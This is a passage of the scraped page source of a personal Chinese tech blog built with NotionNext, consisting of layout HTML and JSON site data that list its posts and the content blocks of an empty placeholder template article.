dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-07-02</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
@@ -12,4 +12,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"d43cadd5-38cc-48ce-a44d-188a8215cd7d":{"value":{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","version":7,"type":"page","content":["b2c580c4-ce96-432d-b118-a0ad20cbe1c5","deba1e59-6d47-4ada-a314-44559c4f6b0c","441bdeda-2261-415c-9b90-02c122c121e4","bf92f406-3a16-4412-9369-f5edb6003e29","1ddbb042-788f-4005-befc-3c30e63918e6","6fc73c2f-ca27-46c4-9e76-e8f767132e2b","d5803e5d-12ec-4b18-833b-e6822d98fa35","63c97746-0bd9-4d2f-8156-801620c97f5c","78957a63-8c78-4cad-8e88-ea846ae3923e","5410740b-7970-4e09-93dd-615a87d752b1","5cec45b0-794e-4344-812b-b0c8e4740cc9","ad8c852b-45ac-4cfd-a0f8-04e364cc9311","8999dbca-3606-4af4-8f6f-5581cd3e6113","6d026f65-ee53-4d6a-b31b-e7a374565243"],"format":{"page_font":"mono","page_icon":"🗒️","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"683ddb23-90b4-4744-b09c-ddc4dd04ef79","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337112,"last_edited_time":1705630797241,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"683ddb23-90b4-4744-b09c-ddc4dd04ef79","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"b2c580c4-ce96-432d-b118-a0ad20cbe1c5":{"value":{"id":"b2c580c4-ce96-432d-b118-a0ad20cbe1c5","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["38d0d577-7b83-4df4-ba9e-c0d0010765da"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"043a878a-3031-4020-b1b3-a28ec26edfb4","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"043a878a-3031-4020-b1b3-a28ec26edfb4"}},"38d0d577-7b83-4df4-ba9e-c0d0010765da":{"value":{"id":"38d0d577-7b83-4df4-ba9e-c0d0010765da","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"fb4746a4-0397-4efc-b78b-01981e9364de","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337145,"last_edited_time":1705594337145,"parent_id":"b2c580c4-ce96-432d-b118-a0ad20cbe1c5","parent_table":"block","alive":true,"copied_from":"fb4746a4-0397-4efc-b78b-01981e9364de"}},"deba1e59-6d47-4ada-a314-44559c4f6b0c":{"value":{"id":"deba1e59-6d47-4ada-a314-44559c4f6b0c","type":"text","format":{"copied_from_pointer":{"id":"54458e9f-4300-4058-92eb-d7419f4f3be0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"54458e9f-4300-4058-92eb-d7419f4f3be0"}},"441bdeda-2261-415c-9b90-02c122c121e4":{"value":{"id":"441bdeda-2261-415c-9b90-02c122c121e4","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"5c09ccea-bd54-4059-88a8-ea3ad47cfc01","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"5c09ccea-bd54-4059-88a8-ea3ad47cfc01"}},"bf92f406-3a16-4412-9369-f5edb6003e29":{"value":{"id":"bf92f406-3a16-4412-9369-f5edb6003e29","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"ab2df020-ed00-4620-9909-69d97e0ad40d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"ab2df020-ed00-4620-9909-69d97e0ad40d"}},"1ddbb042-788f-4005-befc-3c30e63918e6":{"value":{"id":"1ddbb042-788f-4005-befc-3c30e63918e6","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"dbc40871-b732-4cc6-b1dc-b38d3c928707","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"dbc40871-b732-4cc6-b1dc-b38d3c928707"}},"6fc73c2f-ca27-46c4-9e76-e8f767132e2b":{"value":{"id":"6fc73c2f-ca27-46c4-9e76-e8f767132e2b","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"83e7d826-96d1-4309-85cc-7378332597e1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"83e7d826-96d1-4309-85cc-7378332597e1"}},"d5803e5d-12ec-4b18-833b-e6822d98fa35":{"value":{"id":"d5803e5d-12ec-4b18-833b-e6822d98fa35","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"2d5d143c-ff2a-4ded-851e-a7fa40750f69","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"2d5d143c-ff2a-4ded-851e-a7fa40750f69"}},"63c97746-0bd9-4d2f-8156-801620c97f5c":{"value":{"id":"63c97746-0bd9-4d2f-8156-801620c97f5c","type":"header","properties":{"title":[["🤗 